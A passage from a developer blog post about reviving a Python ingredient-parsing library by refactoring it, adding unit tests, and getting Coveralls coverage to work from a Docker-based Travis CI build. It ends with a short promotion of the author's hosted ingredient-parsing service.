&lt;p>I realized that &lt;code>Cli&lt;/code> called all of the other functions within the loop body of &lt;code>generate_data&lt;/code>. If I extracted that code to a new function, &lt;code>Cli&lt;/code> would need access only to the new function and none of its previous methods.&lt;/p>













 

 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 616px">



 &lt;a href="https://mtlynch.io/resurrecting-3/function-diff.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 616px, 98vw"
 srcset='https://mtlynch.io/resurrecting-3/function-diff_hu_211c01c86128bb44.png 300w, https://mtlynch.io/resurrecting-3/function-diff_hu_b3582c336645948d.png 600w, https://mtlynch.io/resurrecting-3/function-diff.png 614w'
 src="https://mtlynch.io/resurrecting-3/function-diff.png" alt="Diff from YAPF changes" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Extracting loop body from &lt;code>generate_data&lt;/code> into a new function called &lt;code>translate_row&lt;/code>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>This change made the &lt;code>Cli&lt;/code> class slimmer and more logically cohesive. It now consisted of just two public methods and one private one:&lt;/p>
&lt;ul>
&lt;li>&lt;code>run&lt;/code>&lt;/li>
&lt;li>&lt;code>generate_data&lt;/code>&lt;/li>
&lt;li>&lt;code>_parse_args&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>It still wasn&amp;rsquo;t perfect, but it was better than the previous, bloated interface. There were certainly many more changes that I &lt;em>wanted&lt;/em> to make, but those would have to wait.&lt;/p>
&lt;p>To minimize the probability of mistakes, I kept tight scope for each pull request in the refactoring. When moving code between files, it&amp;rsquo;s especially important to minimize change because the move itself makes it hard to notice line-level modifications.&lt;/p>
&lt;p>My end-to-end test passed, which told me I didn&amp;rsquo;t break anything significant in the move, but my work wasn&amp;rsquo;t done yet. My refactoring created a new function, which meant I needed a new unit test to exercise it.&lt;/p>
&lt;div class="zestful-box">
 &lt;div class="zestful-box-inner">
 &lt;div class="logo">
 &lt;a href="https://zestfuldata.com/">
 &lt;img src="https://mtlynch.io/images/zestful/logo.png" alt="Zestful logo">
 &lt;/a>
 &lt;/div>

 &lt;div class="text">
 &lt;h3>Want to parse ingredients without all this work?&lt;/h3>

 &lt;p>I went through all of these steps, so you don’t have to. Check out &lt;a href="https://zestfuldata.com/">Zestful&lt;/a>, my managed service for ingredient parsing.&lt;/p>
 &lt;/div>
 &lt;/div>
&lt;/div>

&lt;h2 id="my-first-unit-test">My first unit test&lt;/h2>
&lt;p>Creating the unit test was easy. I temporarily added debug log statements at the beginning and end of &lt;code>translator.translate_row&lt;/code> to print the inputs and outputs. Those values became the input and expected output of my first unit test:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">test_translates_row_with_simple_phrase&lt;/span>(&lt;span style="color:#24909d">self&lt;/span>):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> row = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#39;index&amp;#39;&lt;/span>: &lt;span style="color:#3677a9">162&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#39;input&amp;#39;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#39;2 cups flour&amp;#39;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#39;name&amp;#39;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#39;flour&amp;#39;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#39;qty&amp;#39;&lt;/span>: &lt;span style="color:#3677a9">2.0&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#39;range_end&amp;#39;&lt;/span>: &lt;span style="color:#3677a9">0.0&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#39;unit&amp;#39;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#39;cup&amp;#39;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#39;comment&amp;#39;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#39;&amp;#39;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">self&lt;/span>.assertMultiLineEqual(&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">2&lt;/span>&lt;span style="color:#ed9d13">\t&lt;/span>&lt;span style="color:#ed9d13">I1&lt;/span>&lt;span style="color:#ed9d13">\t&lt;/span>&lt;span style="color:#ed9d13">L4&lt;/span>&lt;span style="color:#ed9d13">\t&lt;/span>&lt;span style="color:#ed9d13">NoCAP&lt;/span>&lt;span style="color:#ed9d13">\t&lt;/span>&lt;span style="color:#ed9d13">NoPAREN&lt;/span>&lt;span style="color:#ed9d13">\t&lt;/span>&lt;span style="color:#ed9d13">B-QTY
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">cups&lt;/span>&lt;span style="color:#ed9d13">\t&lt;/span>&lt;span style="color:#ed9d13">I2&lt;/span>&lt;span style="color:#ed9d13">\t&lt;/span>&lt;span style="color:#ed9d13">L4&lt;/span>&lt;span style="color:#ed9d13">\t&lt;/span>&lt;span style="color:#ed9d13">NoCAP&lt;/span>&lt;span style="color:#ed9d13">\t&lt;/span>&lt;span style="color:#ed9d13">NoPAREN&lt;/span>&lt;span style="color:#ed9d13">\t&lt;/span>&lt;span style="color:#ed9d13">B-UNIT
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">flour&lt;/span>&lt;span style="color:#ed9d13">\t&lt;/span>&lt;span style="color:#ed9d13">I3&lt;/span>&lt;span style="color:#ed9d13">\t&lt;/span>&lt;span style="color:#ed9d13">L4&lt;/span>&lt;span style="color:#ed9d13">\t&lt;/span>&lt;span style="color:#ed9d13">NoCAP&lt;/span>&lt;span style="color:#ed9d13">\t&lt;/span>&lt;span style="color:#ed9d13">NoPAREN&lt;/span>&lt;span style="color:#ed9d13">\t&lt;/span>&lt;span style="color:#ed9d13">B-NAME
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&amp;#34;&lt;/span>.strip(),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> translator.translate_row(row).strip())
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I still didn&amp;rsquo;t fully understand what this function did, but the unit test brought me closer. I saw that it processed the library&amp;rsquo;s training data, which was in a CSV file that looked like this:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>index&lt;/th>
 &lt;th>input&lt;/th>
 &lt;th>name&lt;/th>
 &lt;th>qty&lt;/th>
 &lt;th>range_end&lt;/th>
 &lt;th>unit&lt;/th>
 &lt;th>comment&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>162&lt;/td>
 &lt;td>2 cups flour&lt;/td>
 &lt;td>flour&lt;/td>
 &lt;td>2.0&lt;/td>
 &lt;td>0.0&lt;/td>
 &lt;td>cup&lt;/td>
 &lt;td>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>It returned a set of tab-separated values that the library&amp;rsquo;s machine learning engine understood.&lt;/p>
&lt;p>I &lt;a href="https://github.com/mtlynch/ingredient-phrase-tagger/pull/50/files#diff-6d949259dd4883a10ce9b073d36c7860">added a few more unit tests&lt;/a> to cover different types of ingredients: an ingredient with fractions (&lt;code>&amp;quot;1 1/2 teaspoons salt&amp;quot;&lt;/code>) and an ingredient with a comment attached (&lt;code>&amp;quot;Half a vanilla bean, split lengthwise, seeds scraped&amp;quot;&lt;/code>).&lt;/p>
&lt;h2 id="integrating-unit-tests-into-the-build">Integrating unit tests into the build&lt;/h2>
&lt;p>Unit tests aren&amp;rsquo;t much fun unless they&amp;rsquo;re integrated into the build process, so I &lt;a href="https://github.com/mtlynch/ingredient-phrase-tagger/pull/50">updated my build script&lt;/a> to include them:&lt;/p>













 

 








 
 
 







&lt;figure class="img" style="max-width: 527px">



 &lt;a href="https://mtlynch.io/resurrecting-3/unittest-build.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 527px, 98vw"
 srcset='https://mtlynch.io/resurrecting-3/unittest-build_hu_c33833e7a61ccf84.png 300w, https://mtlynch.io/resurrecting-3/unittest-build.png 525w'
 src="https://mtlynch.io/resurrecting-3/unittest-build.png" alt="Screenshot of diff to add unit test command to build" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Adding unit test execution to build script&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Because Travis continuous integration was already running my build script on every code change, I saw the unit test output on &lt;a href="https://travis-ci.org/mtlynch/ingredient-phrase-tagger/builds/416406390">the next Travis build&lt;/a>:&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 715px">



 &lt;a href="https://mtlynch.io/resurrecting-3/travis-unit-tests.png">
 &lt;img
 
 sizes="(min-width: 768px) 715px, 98vw"
 srcset='https://mtlynch.io/resurrecting-3/travis-unit-tests_hu_22047b6ab49c8f78.png 300w, https://mtlynch.io/resurrecting-3/travis-unit-tests_hu_f16fd4306b8a7c6.png 600w, https://mtlynch.io/resurrecting-3/travis-unit-tests.png 715w'
 src="https://mtlynch.io/resurrecting-3/travis-unit-tests.png" alt="Unit test logging output" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Unit test logging in &lt;a href="https://travis-ci.org/mtlynch/ingredient-phrase-tagger/builds/416406390">Travis&amp;rsquo; build output&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="adding-code-coverage">Adding code coverage&lt;/h2>
&lt;p>While refactoring, I love watching the code coverage percentages climb as I bring more code under test. In Python projects, I use the &lt;a href="https://pypi.org/project/coverage/">&lt;code>coverage&lt;/code> module&lt;/a> to collect coverage information and &lt;a href="https://coveralls.io">Coveralls&lt;/a> to make the results available in a web dashboard.&lt;/p>
&lt;p>Switching from Python&amp;rsquo;s native unit test runner to &lt;code>coverage&lt;/code> required only a trivial change to my build script:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-diff" data-lang="diff">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d22323">-python -m unittest discover
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d22323">&lt;/span>&lt;span style="color:#589819">+coverage run -m unittest discover
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Then, I added an &lt;code>after_success&lt;/code> key to my Travis configuration so that Travis would upload my code coverage information to Coveralls.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">after_success&lt;/span>:&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>- pip install pyyaml coveralls&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>- coveralls&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I checked Coveralls, eager to see my code coverage stats, and&amp;hellip;&lt;/p>













 

 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 699px">



 &lt;a href="https://mtlynch.io/resurrecting-3/no-coverage-data-1.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 699px, 98vw"
 srcset='https://mtlynch.io/resurrecting-3/no-coverage-data-1_hu_9f9953fe97539de9.png 300w, https://mtlynch.io/resurrecting-3/no-coverage-data-1_hu_bf90d8ae4eeedb20.png 600w, https://mtlynch.io/resurrecting-3/no-coverage-data-1.png 697w'
 src="https://mtlynch.io/resurrecting-3/no-coverage-data-1.png" alt="Screenshot of Coveralls showing no results" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Coveralls shows no code coverage information&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Nothing.&lt;/p>
&lt;h2 id="where-did-my-code-coverage-go">Where did my code coverage go?&lt;/h2>
&lt;p>I had used Coveralls in dozens of projects in the past, so I didn&amp;rsquo;t understand why it wasn&amp;rsquo;t displaying anything. It was just a simple Python project. The &lt;code>coverage&lt;/code> command was supposed to create a file called &lt;code>.coverage&lt;/code> with the code coverage information, and the &lt;code>coveralls&lt;/code> command was supposed to upload it to the Coveralls dashboard.&lt;/p>
&lt;p>Oh, that was it! The &lt;code>coverage&lt;/code> command ran in my Docker container, but the &lt;code>coveralls&lt;/code> binary ran in the standard Travis environment, so it couldn&amp;rsquo;t find the &lt;code>.coverage&lt;/code> file. I never copied it from the Docker container to the outer Travis environment.&lt;/p>
&lt;p>That was an easy fix. I just had to add a command to extract the &lt;code>.coverage&lt;/code> file from the Docker container:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">after_success&lt;/span>:&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>- pip install pyyaml coveralls&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>- docker cp ingredient-phrase-tagger-container:/app/.coverage ./&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>- coveralls&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Still, the Coveralls dashboard showed nothing:&lt;/p>













 

 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 699px">



 &lt;a href="https://mtlynch.io/resurrecting-3/no-coverage-data-2.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 699px, 98vw"
 srcset='https://mtlynch.io/resurrecting-3/no-coverage-data-2_hu_d1b0361570187360.png 300w, https://mtlynch.io/resurrecting-3/no-coverage-data-2_hu_b7d172f6d65a4e7c.png 600w, https://mtlynch.io/resurrecting-3/no-coverage-data-2.png 697w'
 src="https://mtlynch.io/resurrecting-3/no-coverage-data-2.png" alt="Screenshot of Coveralls showing no results (again)" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Coveralls &lt;em>still&lt;/em> shows no code coverage information&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>However, &lt;a href="https://travis-ci.org/mtlynch/ingredient-phrase-tagger/builds/415474978">the Travis build&lt;/a> printed output that didn&amp;rsquo;t appear in previous builds:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>$ coveralls
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Submitting coverage to coveralls.io...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>No source for /app/ingredient_phrase_tagger/__init__.py
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>No source for /app/ingredient_phrase_tagger/training/__init__.py
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>No source for /app/ingredient_phrase_tagger/training/cli.py
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>No source for /app/ingredient_phrase_tagger/training/translator.py
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>No source for /app/ingredient_phrase_tagger/training/utils.py
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Coverage submitted!
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Job #177.1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>https://coveralls.io/jobs/39259674
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That&amp;rsquo;s when I realized there was another problem.&lt;/p>
&lt;p>Travis and Docker had conflicting views of the filesystem. For example, here is how they each saw the &lt;code>cli.py&lt;/code> file:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Environment&lt;/th>
 &lt;th>File path&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Docker container&lt;/td>
 &lt;td>&lt;code>/app/ingredient_phrase_tagger/training/cli.py&lt;/code>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Travis&lt;/td>
 &lt;td>&lt;code>/home/travis/ingredient_phrase_tagger/training/cli.py&lt;/code>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Given that, the error message that &lt;code>coveralls&lt;/code> printed in Travis made more sense:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>No source for /app/ingredient_phrase_tagger/training/cli.py
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Coveralls couldn&amp;rsquo;t find the file because the paths in &lt;code>.coverage&lt;/code> were based on the Docker container&amp;rsquo;s view of the filesystem. The &lt;code>/app&lt;/code> path didn&amp;rsquo;t exist on the Travis filesystem.&lt;/p>
&lt;p>How could I bridge the gap between these two different environments with incompatible views of the same files? I found a solution, but it was a bit convoluted.&lt;/p>
&lt;h2 id="a-roundabout-way-to-convert-paths">A roundabout way to convert paths&lt;/h2>
&lt;p>In the documentation for &lt;code>coverage&lt;/code>, I noticed that it supported a &lt;a href="https://coverage.readthedocs.io/en/latest/config.html#paths">&lt;code>paths&lt;/code> option&lt;/a> that discussed combining paths from multiple filesystems:&lt;/p>













 

 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 714px">



 &lt;a href="https://coverage.readthedocs.io/en/latest/config.html#paths">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 714px, 98vw"
 srcset='https://mtlynch.io/resurrecting-3/paths-param_hu_cb017ca64eeb81cd.png 300w, https://mtlynch.io/resurrecting-3/paths-param_hu_17d21cd125270208.png 600w, https://mtlynch.io/resurrecting-3/paths-param.png 712w'
 src="https://mtlynch.io/resurrecting-3/paths-param.png" alt="Screenshot of paths documentation" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Documentation for &lt;a href="https://coverage.readthedocs.io/en/latest/config.html#paths">&lt;code>paths&lt;/code> option&lt;/a> of &lt;code>coverage&lt;/code> command&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>To use these options, I created the following &lt;code>.coveragerc&lt;/code> file:&lt;/p>




 &lt;div class="inline-file">
 &lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-ini" data-lang="ini">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">[run]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb">source&lt;/span> = &lt;span style="color:#ed9d13">ingredient_phrase_tagger&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">; Run in parallel mode so that coverage can canonicalize the source paths&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">; regardless of whether it runs locally or within a Docker container.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb">parallel&lt;/span> = &lt;span style="color:#ed9d13">True&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">[paths]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">; the first path is the path on the local filesystem&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">; the second path is the path as it appears within the Docker container&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb">source&lt;/span> =&lt;span style="color:#ed9d13">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> ingredient_phrase_tagger/
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> /app/ingredient_phrase_tagger/&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>
 &lt;a href="https://mtlynch.io/resurrecting-3/coveragerc" download class="download-raw-button">download coveragerc&lt;/a>
 &lt;/div>


&lt;p>My new solution ran the &lt;code>coverage&lt;/code> command within the Docker container, then executed the &lt;a href="https://web.archive.org/web/20240301053044/https://coverage.readthedocs.io/en/latest/cmd.html#combining-data-files-coverage-combine">&lt;code>coverage combine&lt;/code> feature&lt;/a> in the Travis environment, which canonicalized all of the paths to the Travis filesystem.&lt;/p>
&lt;p>After applying this solution, the &lt;code>after_success&lt;/code> section of my &lt;a href="https://github.com/mtlynch/ingredient-phrase-tagger/blob/9e66f28b07de290b77b1ec0b84baf14f3e7330a0/.travis.yml">Travis configuration&lt;/a> looked like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">after_success&lt;/span>:&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>- pip install pyyaml coveralls&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic"># Copy the .coverage.* file from the Docker container to the local filesystem.&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>- docker cp ingredient-phrase-tagger-container:/app/$(docker exec -it ingredient-phrase-tagger-container bash -c &amp;#34;ls -a .coverage.*&amp;#34; | tr -d &amp;#39;\r&amp;#39;) ./&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic"># Use coverage combine to canonicalize the source paths.&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>- coverage combine&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic"># Upload coverage information to Coveralls.&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>- coveralls&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="code-coverage-at-last">Code coverage at last&lt;/h2>
&lt;p>I put &lt;a href="https://github.com/mtlynch/ingredient-phrase-tagger/pull/51">my full solution&lt;/a> to the test. Finally, Coveralls received the results and &lt;a href="https://coveralls.io/jobs/39262596">displayed my code coverage numbers&lt;/a>:&lt;/p>













 

 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 699px">



 &lt;a href="https://coveralls.io/jobs/39262596">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 699px, 98vw"
 srcset='https://mtlynch.io/resurrecting-3/coverage-data_hu_2c716ea2dc99b8a1.png 300w, https://mtlynch.io/resurrecting-3/coverage-data_hu_1edcfb60ed7890b.png 600w, https://mtlynch.io/resurrecting-3/coverage-data.png 697w'
 src="https://mtlynch.io/resurrecting-3/coverage-data.png" alt="Screenshot of Coveralls showing code coverage statistics" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Coveralls finally shows code coverage information.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="i-pronounce-this-library-resurrected">I pronounce this library resurrected&lt;/h2>
&lt;p>After integrating code coverage tracking, I felt like this library was alive again. It wasn&amp;rsquo;t going to win any awards for quality, but the infrastructure was in place for me or any other developer to continue iterating on the code with high confidence.&lt;/p>
&lt;p>Throughout this series of blog posts, I described how I improved the library in small, discrete steps. This minimized the potential for bugs but perhaps obscured the bigger picture. For a bit of perspective, allow me to review the high-level improvements I made to the library in the process of resurrecting it:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Before&lt;/th>
 &lt;th>After&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Builds only on OS X&lt;/td>
 &lt;td>&lt;a href="https://mtlynch.io/resurrecting-1/#making-it-easier">Builds in any environment that supports Docker&lt;/a>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>No end-to-end tests&lt;/td>
 &lt;td>Has a thorough &lt;a href="https://mtlynch.io/resurrecting-2/#adding-an-end-to-end-test">end-to-end test&lt;/a>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>No unit tests&lt;/td>
 &lt;td>Has a small number of &lt;a href="https://mtlynch.io/resurrecting-3/#my-first-unit-test">unit tests&lt;/a> and an easy mechanism for adding more&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>No code coverage information&lt;/td>
 &lt;td>Measures &lt;a href="https://mtlynch.io/resurrecting-3/#code-coverage-at-last">code coverage&lt;/a> on every commit and maintains coverage history over time&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>No automated builds&lt;/td>
 &lt;td>&lt;a href="https://mtlynch.io/resurrecting-2/#running-it-in-continuous-integration">Builds and tests code automatically&lt;/a> on every commit&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Inconsistent code style&lt;/td>
 &lt;td>&lt;a href="https://mtlynch.io/resurrecting-3/#enforcing-whitespace-conventions">Enforces style conventions&lt;/a> via automated tools&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Developers must identify unused imports and uninitialized variables manually&lt;/td>
 &lt;td>&lt;a href="https://mtlynch.io/resurrecting-3/#adding-static-analysis">Applies static analysis&lt;/a> to catch careless errors automatically&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h2 id="refactor-one-to-throw-away">Refactor one to throw away&lt;/h2>
&lt;p>Given how proud I was of these changes, it may surprise you to learn that after a few more weeks of improving the code, I abandoned it in favor of a total rewrite.&lt;/p>
&lt;blockquote>
&lt;p>&amp;hellip;plan to throw one away; you will, anyhow.&lt;/p>
&lt;p>-Fred Brooks, &lt;a href="https://smile.amazon.com/Mythical-Man-Month-Software-Engineering-Anniversary/dp/0201835959/">&lt;em>The Mythical Man-Month: Essays on Software Engineering&lt;/em>&lt;/a>&lt;/p>&lt;/blockquote>
&lt;p>The more I refactored the code, the more I recognized problems with its fundamental architectural. That doesn&amp;rsquo;t mean that I wasted effort in improving the code — I needed to get my hands dirty to develop a deep understanding. Once I understood everything, I felt comfortable rewriting it from scratch for better maintainability and performance.&lt;/p>
&lt;p>The result was a service called &lt;a href="https://zestfuldata.com">Zestful&lt;/a>. It offers functionality similar to ingredient-phrase-tagger, but in a hosted API. It allows clients to parse ingredients immediately without jumping through all the hoops I did to make the original library functional.&lt;/p>
&lt;p>If you&amp;rsquo;d like to see Zestful in action, check out the &lt;a href="https://zestfuldata.com/demo">live demo&lt;/a>:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://zestfuldata.com/demo">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
